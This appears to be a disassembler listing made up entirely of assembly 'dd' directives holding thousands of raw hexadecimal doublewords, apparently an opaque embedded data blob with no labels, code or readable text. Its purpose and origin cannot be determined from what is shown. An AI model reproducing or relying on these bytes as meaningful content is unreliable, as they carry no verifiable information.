		dd 305AB600h, 0ADCC484Fh, 65A700F7h, 6DBD1206h,	0A60F7F07h
		dd 20FDF157h, 2E64B011h, 32F500F3h, 0A3E659EBh,	36041F5Dh
		dd 8537D227h, 0D339BC80h, 0FAED0796h, 0B0F69FA1h, 0FC48F34h
		dd 5F3D9098h, 9C6581D2h, 8E38F17Ch, 611A888Bh, 0EE1FC021h
		dd 8CE8806Eh, 78E96C1Bh, 0D0315054h, 567901F5h,	67BE8555h
		dd 84308617h, 30785B3Dh, 0D428A44Eh, 900CCFFh, 370552B2h
		dd 5A1D4Bh, 0F5442F68h,	2E8A6D54h, 0BFAD7B00h, 0F26355B3h
		dd 407400EBh, 0E0CD07F0h, 0BB0308A0h, 0F7BAC395h, 5D3D806Fh
		dd 0B3FE1C9Ch, 0E98A7EB2h, 0DC2C37h, 3317E03Eh,	2600994Bh
		dd 7C7E6B9Eh, 3D01F7Ah,	61ABDBF7h, 5AB8BE3Bh, 452E9BEDh
		dd 803A3C72h, 2F0E4374h, 3B37E281h, 0D4808630h,	0CCCE24E4h
		dd 0A31DEBE3h, 0F804B4AAh, 0CC9025A0h, 0E10DA861h, 1483024h
		dd 66FC264Dh, 0ECAB8A3Ah, 0CDB808EAh, 8D004096h, 0D1FC4170h
		dd 37600D3h, 4E22EC73h,	0C5007F86h, 84B176Eh, 5E9068h
		dd 0EF679218h, 1D6B7796h, 1CDDD3Eh, 0F0571B6Dh,	7AD85F48h
		dd 0A2D500EFh, 7C7D662Ch, 4705BCC8h, 0D11CBA05h, 0C00A6383h
		dd 4843FE85h, 245CCCF3h, 0DC275800h, 16DD7B10h,	9ECDC138h
		dd 7B8D24h, 70C30BFCh, 77A96456h, 78B11C9Ch, 18BA80A3h
		dd 0DFA0E61Bh, 0FA30CD00h, 0CA1F08ABh, 0BB6C00B4h, 89507C34h
		dd 0C507275Bh, 6A28085h, 5F3D05C0h, 0F4282545h,	0B1337480h
		dd 7600293Fh, 22EEE317h, 18039942h, 501EDF15h, 20B03402h
		dd 0C4C248h, 6CE69077h,	0BA9AEBh, 0D620E5C7h, 70BC8DF9h
		dd 43485F0Eh, 429200D5h, 0A0A897EBh, 5C10B2h, 4B1BB17Ah
		dd 0E2297977h, 89AE8800h, 6685E402h, 450C00F7h,	975E314Eh
		dd 0F800C72Bh, 6CBB764Ch, 0ECB7205Ch, 621E007Ah, 3CDAE023h
		dd 54F4964Ah, 0B200A170h, 21E5D0FDh, 522D98h, 1FA92259h
		dd 4D820770h, 6C56CD13h, 6B44B400h, 0B4A071h, 6051047Eh
		dd 395A46E1h, 0C0BD9800h, 308A16B0h, 166B080h, 8582F4F9h
		dd 0E065EB81h, 60009176h, 0EDC17BCBh, 2CACC4E4h, 8070C5B4h
		dd 0A335ADEEh, 160047FAh, 0DB9FE4DAh, 7DEC40C1h, 511F1C7Bh
		dd 88881890h, 0EA3B66DAh, 2BE0060h, 0E8EFF75Bh,	30EC006Bh
		dd 0AD76F164h, 8902B817h, 7F513F12h, 268D4111h,	38808721h
		dd 0CA6F11Dh, 0E500B946h, 0FF227FAh, 0E9815Ch, 8C623E3Ah
		dd 0CFDAA76h, 8A067C00h, 49F513CBh, 6463004Dh, 0F2E57E11h
		dd 0A4120B52h, 0DC003ABBh, 421AF48Ah, 12540755h, 70377FAh
		dd 81E687B4h, 896B76E9h, 80EE4420h, 0AC2691E8h,	208F003Ch
		dd 0A5D55C2h, 0B21252C9h, 0F4C26D12h, 0FFDC41C8h, 7F01C4h
		dd 92CFBBDAh, 0F3E4F07Ch, 4C3D8D7Fh, 0CB840481h, 0F0E0D12Dh
		dd 7A802E15h, 9EF90293h, 57E08FE3h, 2A00A9CCh, 7CAE9BBBh
		dd 0AC951Fh, 0AAFB91D4h, 5909756Eh, 0BF207100h,	0D15C0634h
		dd 0DBB40035h, 8BE3DFE8h, 300701Ch, 978D8F5h, 1E4765h
		dd 0B7134E25h, 8FF645BCh, 30010F0h, 38D3A17Bh, 2E15B9h
		dd 4695AFA6h, 9D52F0D1h, 0DDFAAC00h, 318B0AA4h,	0AEE7001Ch
		dd 0E4BE3E2Ah, 0B6E8E38Fh, 3ADA8E06h, 30098AE8h, 8B407BB4h
		dd 0B009D9Ah, 0A84A7378h, 2D4DD17h, 0DA5D7DECh,	40C09B06h
		dd 2D00DC4Ch, 2FA81451h, 1D3B0241h, 40AA4366h, 195279D4h
		dd 447EEA5Fh, 6EE9E20Eh, 595CA04Dh, 9789A0h, 80CBA5E6h
		dd 5D1A26F1h, 13CABA00h, 0ABD2A3A4h, 82C33A87h,	0BFAF9h
		dd 0CA3D40A0h, 0FC8D9977h, 83B1FA03h, 0C39DB7E7h, 891BC1EEh
		dd 39952430h, 1A0091C0h, 437B0B36h, 0B7006D8Bh,	0A1423DC4h
		dd 0EC8C90C5h, 17E31871h, 0D8EEE820h, 0B369F300h, 0AC65EF0Ah
		dd 0E94613E0h, 0ECF88CCFh, 0B6150500h, 0FBC9A727h, 81FF024Eh
		dd 656743Bh, 67029C70h,	1897E5F6h, 2C786Eh, 0A4B649D8h
		dd 0EE050FACh, 8260CE00h, 1B506DE8h, 9FD000E0h,	0E64CF16Bh
		dd 2A024017h, 0DA518B37h, 60B08F4Fh, 9AADA4A9h,	21C0009Eh
		dd 0F11FE7FFh, 0A55E36DAh, 0CFBF0403h, 0E900A475h, 0DDF4148Eh
		dd 64789006h, 0E1829CDh, 0E3C093C9h, 51868C81h,	0DF318043h
		dd 0DF5BAD4h, 83781D94h, 0E872405h, 807FB4B7h, 68F9A313h
		dd 790C36C6h, 38F01D9Bh, 0C5AC0060h, 0C00BDEBEh, 0DC15D61Eh
		dd 0F840350h, 8CFF2F1Bh, 3B589Bh, 35FE435Eh, 18A2AEB3h
		dd 24A09D28h, 1FF8A41Ah, 8D440739h, 9B7DAB70h, 8C14A0B5h
		dd 77070014h, 0B048459Ah, 93306911h, 234D780Dh,	256406E5h
		dd 0B89976B9h, 98002D79h, 6A2273A0h, 4BA17F8h, 64555F62h
		dd 0C480A110h, 79036CD7h, 0A0AB3583h, 2F09259Bh, 0B0DC4400h
		dd 87004B6Ch, 0D2AA2AAh, 0BA2675h, 0B7CEC994h, 292EEEBBh
		dd 80B69939h, 358A110Bh, 341A9Dh, 17E93A68h, 0D680BA1Dh
		dd 19BC3F00h, 2007CFA5h, 61BB0013h, 14F39805h, 0E633DEB4h
		dd 381836h, 0A55E03F1h,	0A12A9A4Bh, 601D0C29h, 86600578h
		dd 5C293801h, 0EE9A1751h, 94B061BCh, 3567C469h,	460EB6E8h
		dd 4024F0D2h, 0C0041AE3h, 85840671h, 8016838Ah,	7C06B3E4h
		dd 974AC120h, 3FA603F0h, 7863A107h, 7FC7101Ch, 9E808E1Fh
		dd 0C0C246C4h, 9ACAA148h, 7395F7ECh, 0E82500BEh, 1B93A816h
		dd 0FCE77B42h, 4C009237h, 1DF38734h, 13C76913h,	0F04A61F4h
		dd 0C5023FFBh, 0D6FE3A9Dh, 0F35EC08Ah, 22F9003Bh, 3DEF7FAEh
		dd 0EB09D004h, 80AC2E54h, 0C3727D36h, 0E42C0090h, 679AE6C6h
		dd 0F2077F2Dh, 9C4CECC1h, 636C802Eh, 0B708C8h, 7A30CE62h
		dd 648C7227h, 0C12D18C0h, 0EE7F675h, 9FE1CD5Ch,	41004C8Fh
		dd 2FAD3A3h, 0F519C40Fh, 8C100E1Ah, 5E2144h, 25B1D3F8h
		dd 0CC40A52Dh, 26AD8200h, 0C38BDA53h, 782000E1h, 0F2BE51E4h
		dd 38C0A1F6h, 74F99F44h, 0D611C0CDh, 43362518h,	0F08CFB0Eh
		dd 8689AE77h, 7A209E15h, 0DA253E8Dh, 91B7980h, 3F6178E6h
		dd 0EF890338h, 8559A3C0h, 775100C9h, 7B9CE971h,	3F0DA574h
		dd 283708A3h, 80DCE091h, 2F1D3A4h, 221043ACh, 0AD610D45h
		dd 8838FFD3h, 0A66A848h, 0EFB1008h, 0B2E0D555h,	7033B50Ah
		dd 0D2A87D07h, 69B0A7FCh, 0C0CA1BF6h, 7766F228h, 9D3E81DFh
		dd 9EA9BE78h, 7BC053BAh, 2CA30FE1h, 77913h, 3F678AD9h
		dd 0F0EA2494h, 9E4AE00h, 0F8B94830h, 0E07797h, 5CA4505Fh
		dd 5A2FBAACh, 2BFF6514h, 7EA8BF04h, 0C4519807h,	32C0990Fh
		dd 0C0A45964h, 0BF458520h, 81E9A747h, 0C134CB10h, 0E0D117F7h
		dd 7464A770h, 217C61E1h
		dd 30CEDF5Dh, 0BE1D0F9Fh, 0CB41ED2Ch, 362D3DE8h, 817000C3h
		dd 0EC17FD57h, 590F115Fh, 0A602E19Bh, 37911480h, 0B75123CAh
		dd 0F47E702Fh, 390C71D5h, 49342261h, 6D32000Ch,	0ACDD58F2h
		dd 1560D66Eh, 5FFB0441h, 621DF852h, 8FB14948h, 60DF7887h
		dd 704B3295h, 0ACF069CFh, 70B9580Ch, 91030074h,	0D19B1241h
		dd 59060288h, 29F828FBh, 728B3AF1h, 0E756EA03h,	83C96704h
		dd 0A9618055h, 8D2E4108h, 0A75700F5h, 3FC7DDF0h, 2A003BC9h
		dd 60629F52h, 31CB01E9h, 83792C94h, 9CD9800Bh, 111D6175h
		dd 182104FAh, 156935h, 853854FFh, 46FC032Eh, 0D5F7397Eh
		dd 0DB50411Dh, 0C4333DC0h, 8AD49Bh, 863689C6h, 464DAFE6h
		dd 21669000h, 9902193Fh, 0FA812928h, 0C5561F98h, 4092422Eh
		dd 0C5BC6288h, 6839C79Bh, 0BB3E032Ch, 3FE47E8Dh, 9B0A579h
		dd 2A38ACB1h, 83B48C0h,	1F54D4E5h, 8381E37Ah, 0D00A2CA5h
		dd 516424A1h, 0F3490590h, 841D6900h, 0BA1F3AFAh, 29E4C5h
		dd 0AE7E4431h, 96E69A6Ch, 8A56A51Eh, 50E5714Ah,	5AB89980h
		dd 0F27639h, 73C6C5E4h,	83BC6034h, 69990861h, 12E02EB9h
		dd 4A754Ch, 796B75D5h, 0A37190ADh, 14953215h, 380300ACh
		dd 26167E8Bh, 8A39017Ah, 8D2CFC72h, 2249C504h, 7E7C7314h
		dd 0EAD38B00h, 53EFE3CBh, 4D0200B6h, 0BC32A58Ch, 92288AACh
		dd 2A00A86Ah, 6286BA93h, 78E921h, 33A5990Eh, 0E5AE513Bh
		dd 0FAAC6C01h, 815CC804h, 54FD49E8h, 0C1E81Fh, 69EEA040h
		dd 0AEFEF94Bh, 177F7900h, 0F454A75Eh, 0C9B20123h, 0BDE194AFh
		dd 0E0EBD0D6h, 0EB6F218h, 194B40h, 0F95AA4C5h, 0FCC17892h
		dd 738A4100h, 1E2309Ah,	0E49ACh, 495B4300h, 6FF0F96Ch
		dd 0CC0C9701h, 0B99BDE48h, 53E1C7C4h, 50E9C55h,	0E3C09492h
		dd 0F6247DACh, 0C923DA03h, 15AD8CD1h, 98AF4820h, 0F233D500h
		dd 0D0C3119Fh, 0D4B32500h, 2260175Bh, 0A0D4A80Fh, 0D6DC0BF8h
		dd 0EA00BA45h, 9055DAE2h, 9DE8AD48h, 62684440h,	9096B802h
		dd 0FC802044h, 0BB458413h, 0CFB85060h, 541D104Bh, 81AEC8EAh
		dd 0CCC13359h, 0D9EE0ADh, 548E5F24h, 442D8AC2h,	0DBD30E6Ch
		dd 0F4809B98h, 0F8EAAAB1h, 0E672C200h, 0BD938232h, 0A551065Dh
		dd 61A0499Dh, 0E2816902h, 4423BAA4h, 0DDAC2C44h, 0CDF180F0h
		dd 99D4D8A7h, 4B762E00h, 1E195586h, 95400CDAh, 27499D48h
		dd 0E1F4E700h, 0E0F6328Ah, 58240170h, 0BF95A703h, 33BAF0DFh
		dd 80606848h, 0E0372888h, 1332FC7Ah, 1D34B1h, 73E5836h
		dd 242462F6h, 236E640Ch, 982F1531h, 7B5F79ECh, 37EA0790h
		dd 0D02C7DE6h, 2071C1B2h, 8678174Ch, 0D10D2Dh, 0EDC8D32Fh
		dd 127E8935h, 62F30402h, 84F805BAh, 1D61BEC8h, 0BC17F0C1h
		dd 62FA448Ch, 0E5CEEC00h, 741813FBh, 33BB0037h,	6914F8E0h
		dd 19F64789h, 4CC49E3Eh, 8D604050h, 88B4F400h, 4375110Fh
		dd 37A7395Ah, 8055CA1Eh, 0F887040Ch, 580A8FE1h,	0F0BFBC50h
		dd 0C9C4051Ch, 6480CDEBh, 58FB0C9Dh, 1D874C83h,	741520ADh
		dd 0C124FA0Bh, 990BDC85h, 228C0201h, 8A60687Ch,	55DC13F0h
		dd 0AEC70074h, 67169C72h, 0B366A612h, 15505C04h, 58904809h
		dd 160027E6h, 902DDF9Ah, 4EC8AD1h, 22BE48B7h, 11674009h
		dd 3B552AA0h, 1C09DABBh, 0BC82EEEAh, 60C2C7FDh,	2A04D846h
		dd 8A63338Ch, 7931A643h, 11ACA118h, 39BE2029h, 0A08035D3h
		dd 0ED7A2FE8h, 0C97F9B51h, 0FCCDA600h, 558E5C73h, 0CC30E958h
		dd 0E89F89AEh, 0E4265ECCh, 0BF03FFDBh, 12908h, 22AFED59h
		dd 0A3A77FABh, 5EBECA0Bh, 0C5B42040h, 3C8FC46h,	0A6010AD5h
		dd 3900E4C9h, 42ABDBFh,	262DFB32h, 886515h, 0AC7F8F07h
		dd 39066654h, 967BD223h, 22BF3A58h, 3864ED10h, 2DFA9395h
		dd 0BE07A420h, 417E005Ch, 0EC983806h, 24A02F82h, 3101AA55h
		dd 0A7A372FEh, 99F26AE6h, 4D03618h, 0E5E33912h,	80A4A7A4h
		dd 80A59ED7h, 0D5E29313h, 0E623Bh, 0DC942961h, 9B6D407h
		dd 4CD05789h, 7180408Fh, 4A47EF09h, 31872500h, 23E71058h
		dd 0C51324DAh, 0A9B93034h, 9800FEFh, 7AD01440h,	45229CCBh
		dd 6123B0A0h, 5A11A165h, 26102CC6h, 1FA83FCCh, 2D340457h
		dd 0C5189001h, 601E1EDh, 4EC6BD8Ch, 899D5E4h, 0E4404171h
		dd 352E12E1h, 3432066h,	41C62Dh, 0F2B8D1F8h, 0F9F667AFh
		dd 0A8A538h, 0C2424181h, 91493ECDh, 1CAB0060h, 0DF838CF1h
		dd 0A804BD02h, 0C0E19A80h, 0A3EAB6FCh, 2FC5F0A4h, 5A435CB1h
		dd 7A9D2407h, 1DE14FE1h, 228D2870h, 0A8170060h,	2D6AB78Ah
		dd 32AD2E42h, 4E098020h, 9D0C9FFAh, 17C4F000h, 0B413EE25h
		dd 5BD9008Fh, 0C1453CD2h, 9A07AFECh, 0A4576FB6h, 636D1842h
		dd 1E20BBE1h, 2566808h,	0EC9315B3h, 424C8846h, 96DF00C0h
		dd 6AB4EFC8h, 84E243h, 0BC9726EBh, 0A7AE7FA5h, 4500F2B0h
		dd 18DD7A2Bh, 1857A9D8h, 0A9E6AF02h, 821F7C03h,	74400B50h
		dd 0C40C8132h, 0B856E6E2h, 6A8403E5h, 8B0D825Bh, 7C47BA98h
		dd 68F4780Fh, 0D8E79F8Ah, 0F9D4F551h, 628C0091h, 0BE410F92h
		dd 0A260FDAFh, 0D108B330h, 0B9273EF2h, 0BD0F723Ch, 50987D10h
		dd 0B2306495h, 0EF2D2849h, 0CB18C773h, 4B8A7041h, 4C00CDC5h
		dd 8CD70B6Ch, 6F453E4h,	1AA8FDA2h, 8F1861B9h, 0E9517785h
		dd 16200012h, 0D60518B2h, 0A1FE9153h, 73C4AF00h, 2DB9471Bh
		dd 0BA38C03Dh, 0F531AB79h, 0F81D4E00h, 0EFE83833h, 0B6920122h
		dd 51B27F0Dh, 0DD3D7080h, 8184113Bh, 33AAE1E9h,	0FCFC2A47h
		dd 1640ECDh, 7B608E4Ah,	7DB8A039h, 0F243E700h, 0F19E6D2Ch
		dd 0FD203A44h, 84036B3Fh, 0BAF68AB3h, 0AC74B129h, 0CA78038h
		dd 0C6FD0FA2h, 0BE3800D1h, 4F6EC3DDh, 0B70F0A01h, 6267EA42h
		dd 872A4E0Eh, 55076F8h,	1C52E71h, 0FD797519h, 0D80734ABh
		dd 23074233h, 0D5943B40h, 5E280CEh, 37399CBh, 4CBB438Eh
		dd 1800340Ah, 44ABE874h, 0E1280E3h, 0FFE00442h,	0AAEFC69Fh
		dd 110F1059h, 0E0242E10h, 2A097797h, 0CF08C696h, 7101205Bh
		dd 622430B3h, 31E01935h, 2505068Eh, 10EFADE3h, 0FE36F800h
		dd 0A3AA2EE7h, 0D9C231D0h, 80EECE08h, 0FE350720h, 1E068755h
		dd 8FF57810h, 6FC0B549h, 0B9442166h, 6AC933Bh, 0AAE9E79Eh
		dd 0AEE10059h, 99F3A01Dh, 0C901D37Dh, 9EAB1B49h, 6530E492h
		dd 0C4111804h, 2B0F69B8h, 0C118ED60h, 0FA93D568h, 0CC7400ABh
		dd 6B82958Ah, 730F6D26h, 0A0E4940Dh, 2DF96E85h,	4C05E64Bh
		dd 6068E21Bh, 0DE5D0A8Ch, 9F498080h, 0FA1F4E9Ch, 76E1F525h
		dd 81381BEEh, 0C5ECE780h, 0F7F87C13h, 0F6106607h, 321B246h
		dd 0EBEC645Bh, 1EA0CFF4h, 9E18A053h, 0E36901C8h, 0C1D666D5h
		dd 1309148Ah, 80B563D2h, 92251209h, 4BF50062h, 17C3101Dh
		dd 4F632DACh, 0E82934E9h, 6C0E2AA6h, 0E3487062h, 490055ECh
		dd 4E6EE95Eh, 5FDCF6h, 0DD7B8364h, 291A959h, 1C1A9C13h
		dd 0D9421C04h, 3D830898h, 0FF901D30h, 9FCEC879h, 402F9C10h
		dd 50D7B690h, 30089C5h,	0C9E7E635h, 39DB7C12h, 0AD9707A2h
		dd 2E030325h, 687BA7C8h, 4867E843h, 228FB523h, 0EA20D834h
		dd 2CBD2F1Ch, 0EE5E32h,	0E6F03697h, 0A201242Ch,	72652A2Bh
		dd 4420DACBh, 0D0C20391h, 0F50834AAh, 5EE5401Dh, 83E82EC0h
		dd 0C09F91D6h, 0A2737D78h, 0AB2CEFF0h, 22143010h, 9AB300B4h
		dd 3BBE2DE5h, 9C5148C6h, 0A855939h, 39BC1F1Bh, 5CB5CC20h
		dd 42CE486h, 0AC4EF290h
		dd 5898902Fh, 690072E3h, 8A3C67C7h, 0E5D9D3h, 80791A86h
		dd 6DB77B6Ch, 4C085B24h, 0C1CD9E80h, 2BC2D28h, 0E2ADD9E6h
		dd 8CA0D07Ch, 0B7E9714Bh, 6737C61Eh, 51802464h,	0F66D1D5Ah
		dd 0F18301B0h, 0C72C31A0h, 328080E7h, 61C87934h, 0D35B0062h
		dd 8FABEED5h, 0E493F605h, 66FE8B01h, 3C0EE22Eh,	50FE0E6Ah
		dd 8B30C09Bh, 0C4A8790h, 86E34801h, 0C430E089h,	218A51AFh
		dd 5F7EE08h, 73C2E536h,	16885418h, 900B6114h, 90256480h
		dd 4306BD1Ch, 4884ACFFh, 7425EF08h, 0F90B530h, 6313A508h
		dd 58301B69h, 2F393081h, 0E0244842h, 2E131Eh, 5C2839A3h
		dd 0D1925198h, 9028687Fh, 0D904B870h, 2BB158B3h, 99342520h
		dd 0B77CF303h, 4120F85h, 47C35CA9h, 5E2C81B1h, 541B604Dh
		dd 0D7538C05h, 0BC2323C9h, 0A0B94C75h, 4BD27602h, 14417162h
		dd 7E74F840h, 0AC447498h, 0FECD0A91h, 85B47B3Fh, 40075D58h
		dd 1AE4DFA8h, 51783ED3h, 2224EE01h, 0C69BB930h,	925896h
		dd 0A8E212F9h, 4C995DB7h, 2CEF1883h, 18F6827Ch,	58C0A8E4h
		dd 96EC617Ah, 50AE0029h, 37BF0F6Eh, 3C93C54Ah, 891A670Ch
		dd 0D37A06h, 0D03A56B3h, 8A85B237h, 20F10524h, 1BFE1AC0h
		dd 5A18FB21h, 1EB0440h,	484DFF08h, 2A92550Eh, 0A2C56EC2h
		dd 0A091C4D4h, 762E1B80h, 2DCE00F4h, 126AAB32h,	0E6143A01h
		dd 0A04CCAh, 7548F57h, 0F4A9981h, 0D53F2EF4h, 8A001408h
		dd 0C528B7C8h, 0C02232DAh, 8CA0E3C8h, 0A785DEBEh, 25EE3C00h
		dd 0F6A840F0h, 0F92C0074h, 0C6641DC5h, 9F2437D4h, 0FF933055h
		dd 26235C2Fh, 2E46CA00h, 2E9F902h, 6FCCD874h, 0C485F0Ch
		dd 0E4008211h, 0EE254CC5h, 78C68EFh, 9C12D06Ch,	0E2C9D0D2h
		dd 2C07AC2Eh, 33A2CAB2h, 0A044B682h, 4DD78AA4h,	9A71DE1h
		dd 2A140135h, 8F71109Eh, 0CF59BD92h, 6DC220F8h,	0D3B61Bh
		dd 0AB548447h, 0B4E7B8D7h, 5E0EC704h, 74C060DAh, 0FCFE55CAh
		dd 357E845h, 0DF99EC9Bh, 15F86AD9h, 0FF307D28h,	68E04081h
		dd 6C5600BEh, 99DCC81Bh, 0D1B0F361h, 7A00867Ah,	0CC2F539Ah
		dd 480EE7E8h, 1CC7F00Ah, 5BBD7290h, 0EB105E31h,	0B000904Bh
		dd 1C30B6A7h, 7F8EDFh, 15806268h, 9EAE6E89h, 0AC713F16h
		dd 0EF352404h, 0F12F1F30h, 77435FF6h, 0EC60D922h, 0C4050F54h
		dd 0D7F53B65h, 205971BBh, 55225AECh, 976310FBh,	2008FD5Ch
		dd 863E7880h, 6E3089A0h, 482AA226h, 3E5CC93Fh, 80EBA8E6h
		dd 0B889D724h, 3409B880h, 5C2F2667h, 73220C08h,	0C6B4E603h
		dd 0E9CA7Ah, 0A580E0E0h, 7C061205h, 17C7343Ch, 0A800C323h
		dd 1F2F85E8h, 1705F431h, 7F9ABE0h, 0F358FF6Ah, 18A6366Fh
		dd 12DAC60Ch, 4D5C5028h, 187B0C0Fh, 0F05F2650h,	9701CC1Bh
		dd 0B29C68BCh, 30240E20h, 8690D10h, 87E85D47h, 0C002636Eh
		dd 73D10417h, 88402722h, 32CE789h, 0B235AD09h, 410AF240h
		dd 84EC2EA4h, 0C104E094h, 0E87E82Ah, 6ABEAC8h, 2B6680BCh
		dd 1928D876h, 1D1FB8F0h, 2AC3FFACh, 0A1A4D7B0h,	68248F38h
		dd 314067D0h, 6DCF42B6h, 9CB37DE0h, 2E113F01h, 0F32D31B0h
		dd 2A5B43ECh, 18288712h, 19F1AAC2h, 2C2A36E0h, 0BD0CC03Dh
		dd 0A9426205h, 29A3E820h, 36059ACh, 4C887477h, 862CA802h
		dd 0BDE573h, 0A460F910h, 0F9058D0h, 800B6F66h, 19999FAEh
		dd 0CB13F677h, 0C82FA79h, 7CAF856Fh, 6484BDAAh,	0B81CC86Ch
		dd 39D0BC0Ch, 29421823h, 1E84CD2Ah, 46AC4C80h, 0D8050340h
		dd 0C627737Ch, 0B7A14804h, 2A33E83Ch, 0F85649C1h, 0D6E1715Bh
		dd 7E640038h, 9BAC5807h, 0EEBA1D06h, 1812959h, 3877BCE8h
		dd 0BDDA0820h, 96C70030h, 0FBE92D0Bh, 50EE50D9h, 25D13016h
		dd 872FC739h, 74ECB71Eh, 0CC4DD6CAh, 9950C981h,	109D42AFh
		dd 0C82880BFh, 1582D539h, 61BC8C52h, 9880E322h,	3B7A5F8h
		dd 645D19EAh, 56C038C1h, 63309CD0h, 9A1711A2h, 0AB151F27h
		dd 87100DEh, 9468AFD5h,	113069D4h, 7E00DAC4h, 4577F69Bh
		dd 3F553BB9h, 0F0FC00A0h, 6330296Bh, 0C47589E2h, 0C149185Bh
		dd 245D1036h, 6C02589Ah, 0F4BA440Ch, 0E2BC40FBh, 0A075FE62h
		dd 0EB09684h, 386EADDEh, 0B830929Ch, 9B840145h,	4F92295Fh
		dd 40357195h, 0C148ADF0h, 5F8C611h, 3B0247C8h, 0A208E725h
		dd 412C719Ch, 2761C410h, 83E3C851h, 517F7C62h, 50205465h
		dd 0BC985001h, 0A5848A36h, 2D908165h, 0B840806Eh, 0AD244B53h
		dd 73620C22h, 2CB0ABB9h, 0C166309h, 810A9F5h, 76040CA9h
		dd 7844C023h, 6D8E20E1h, 232B80F2h, 4E47125h, 38602F70h
		dd 21231DFEh, 444081Ah,	0FE1F0501h, 1DD43EC1h, 4901240Fh
		dd 0EAA480E8h, 53EBA0E8h, 0CFAC8500h, 11FA9B5Fh, 84C500F3h
		dd 1D168CEDh, 3B2668BDh, 916ACCCh, 2423542Fh, 93518900h
		dd 1DE847C5h, 81BB6EDAh, 8FD51CADh, 4AC040AAh, 0F1289974h
		dd 0DB099017h, 82768250h, 72095594h, 12A46D0h, 2112FE37h
		dd 0E80CAC02h, 1E06F9C0h, 0EEB27CFEh, 0F25F0050h, 0C6752386h
		dd 130560B7h, 0FF3CB174h, 241A3804h, 0F31D918h,	0EC944455h
		dd 6700CF33h, 0DDFADB9h, 0EC4215C2h, 7AF30074h,	7CFDE0B3h
		dd 14593E7Bh, 71072224h, 2DEF00F0h, 0AFACFED2h,	3B0A180Ah
		dd 0F8DB8193h, 89A8E204h, 0F20270A3h, 107C8AECh, 1B20001Ch
		dd 0BAB874EFh, 8C0136B9h, 80511342h, 2C65A2A3h,	40B31040h
		dd 1061614Eh, 0F8532E2Ah, 41007EDEh, 0AA723865h, 0A9415A4h
		dd 0CBBAA859h, 0F04F00EBh, 0C53F90B4h, 9F4B6900h, 6DAF0DB6h
		dd 0E04E00F7h, 523496C3h, 40002239h, 13A258D1h,	0ABC180h
		dd 69D2BA98h, 0FAFD9DB8h, 492CC2Bh, 23B99570h, 0F1639D33h
		dd 3989E0BFh, 8E0F8BEh,	0C722B8B6h, 70F1CBFh, 14FAFF08h
		dd 67311C17h, 8FBF09A0h, 15627038h, 0DAF87020h,	706CA63Eh
		dd 7B75210Ch, 0D93CD163h, 44EE5009h, 54C2318h, 78CC6974h
		dd 50B319BFh, 0D87F1C92h, 85871071h, 0B45059F9h, 60211809h
		dd 844EB97h, 5BF0460h, 80F0CA96h, 0C90B1944h, 2809A309h
		dd 0FB391701h, 89595E1h, 0A0700C09h, 6366E414h,	0F0159114h
		dd 409B18E2h, 80502CC5h, 0D1A13700h, 5CDE2970h,	2B4C2438h
		dd 1702011h, 0B0BF464Ah, 0E173B774h, 2109B44Bh,	0D8FC043Ah
		dd 1085C331h, 0B022E6E4h, 763F5E04h, 6928C0CBh,	0EB032118h
		dd 176AEC48h, 0C74103B8h, 2F77E03h, 247166D9h, 1519D260h
		dd 86380EFBh, 7C90698Dh, 6012F059h, 0D7C849C0h,	0FEA0C93h
		dd 0F9859B37h, 5DDD9222h, 5AE29500h, 2C0B3728h,	0BC080011h
		dd 872C0AE6h, 0FA18E632h, 3093E369h, 0AC480D74h, 1C00A555h
		dd 1D73F9D3h, 0C0B83CF2h, 0D7BF1508h, 0A40C88A2h, 0A0C6F3B0h
		dd 3CFE307Ah, 583D41A9h, 43087B63h, 4E80BFEFh, 0D9E49168h
		dd 0A44648C1h, 0DB0B3451h, 0A40D872Bh, 8BEDCEB0h, 0D8FF0E7Ah
		dd 28607122h, 9B0CF0BEh, 7EFD8000h, 8DBBD769h, 0E7E89851h
		dd 0CCB9D981h, 0C6E4DA33h, 0F0EB8C81h, 0E800DFD8h, 0B49AD914h
		dd 3099AC92h, 53899B1Fh, 5B78E2D5h, 0F60C7A00h,	38464EFFh
		dd 187B7167h, 28972C1Fh, 9814F779h, 286065F4h, 800088CAh
		dd 0B0BA0314h, 0E7394Fh, 0B4274D0Bh, 0F4969435h, 0E131856Ch
		dd 4608C19Ah, 0E2F8BABEh, 0DECAD040h, 579D6700h, 19C32A3h
		dd 66693EC4h, 0C6214830h, 7A0698B8h, 4FB9CE39h,	40831DA0h
		dd 4A3D4A68h, 41D309ACh, 811CF805h, 0F0DCED3Ah,	98A08F40h
		dd 667A6E6Bh, 2B38B348h
		dd 10B0A87Ah, 78DF6996h, 30E309EAh, 6023CB40h, 0C1017D90h
		dd 0FCF0A780h, 0B84A59AFh, 0C8EE8C10h, 24DD84FDh, 463200C7h
		dd 0E0691E18h, 79770045h, 51A214E9h, 0E001F396h, 7E0CC0EBh
		dd 7980AFFEh, 28732BE2h, 0B00085B4h, 4ADA5196h,	39EED3Bh
		dd 68B8FA66h, 0B48043FBh, 0E030E27Fh, 182DC87Dh, 6E95004Dh
		dd 493D5371h, 0CFB09701h, 7BFEA080h, 8070B9C0h,	0CABEF3C9h
		dd 16B8C010h, 15AC4207h, 948334C7h, 910EDD39h, 824B8BB3h
		dd 4A48616Eh, 6DD802F8h, 0A1874367h, 8C4A44E1h,	55EA4070h
		dd 0E641F57Dh, 0C71A0C23h, 1C823162h, 18404AB0h, 30931458h
		dd 4B59C986h, 852CA028h, 7D603C73h, 81404C50h, 4363C166h
		dd 0F1103D60h, 6E00B32Ch, 0E2903B4Bh, 240070A3h, 43158F62h
		dd 69761D87h, 8C984094h, 53066DCDh, 9E908C29h, 4D1D3119h
		dd 10B38329h, 99BA6DE5h, 0E2150458h, 9488817Ch,	0BE585033h
		dd 9C6490EFh, 8C60A890h, 0E9B85BB0h, 992D5100h,	0E689900Ch
		dd 806E6EE5h, 7C4EBEE3h, 0FD82B006h, 4860D596h,	4F0F8C74h
		dd 1DFD91FAh, 3B8F1F7Dh, 0B9E279E0h, 0E3377130h, 0F3D77120h
		dd 0F1E00299h, 0BFEA1097h, 0A87AB0A1h, 5C903439h, 0B09B602Ah
		dd 0ADB3CD07h, 0F860C8F0h, 0F31E5h, 0D9E8E2AAh,	948213F5h
		dd 0C7EDC24h, 0F8CEB15h, 869AB3Dh, 8775437Dh, 9149ACE0h
		dd 0FA88254h, 1E78524Ch, 8177D89Bh, 0BEAFCFB1h,	4EA60A8Ch
		dd 4C39B910h, 546182CCh, 466A1F8Ch, 0CBB7FC8h, 62BDFD52h
		dd 0BE7B2210h, 0BE253D3Dh, 86661498h, 76512298h, 0B51C07A6h
